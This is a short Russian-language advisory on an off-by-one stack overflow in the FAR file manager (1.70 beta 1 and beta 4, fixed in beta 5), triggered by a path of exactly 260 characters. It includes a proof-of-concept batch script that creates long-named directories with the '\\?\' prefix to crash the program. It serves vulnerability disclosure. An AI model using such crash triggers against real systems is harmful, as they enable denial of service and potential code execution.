FAR – популярный файловый менеджер для Windows систем.

Файловая система NTFS позволяет создавать пути почти неограниченной длины. Но Windows API не позволяет создавать пути длинее 256 байтов. Чтобы обойти это ограничение, можно использовать в пути к файлу префикс ‘\\?\’ . Это документированная особенность Windows API. Путь, длиннее 260 символов, вызовет аварийное завершение работы FAR. Far
1.70 beta 4 выполняет проверку длины пути и не позволяет использовать пути длиннее 160 символов. Но из-за ошибки в коде все еще можно эксплуатировать FAR, представляя путь длинной ровно 260 символов (“off-by-one” переполнение указателя стека). Уязвимость может использоваться для выполнения произвольного кода. 

Пример (.bat эксплоит создает каталог с двумя подкаталогами, заход в первую приведет к аварийному завершению работы Far
1.70 beta 1, а во вторую к краху Far 1.70 beta 4):

@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\

Обратите внимание: SET A=A..A – одна строка!

Уязвимость обнаружена в FAR 1.70 beta 1, 1.70 beta 4 и устранена в
1.70 beta 5.



Оставить мнение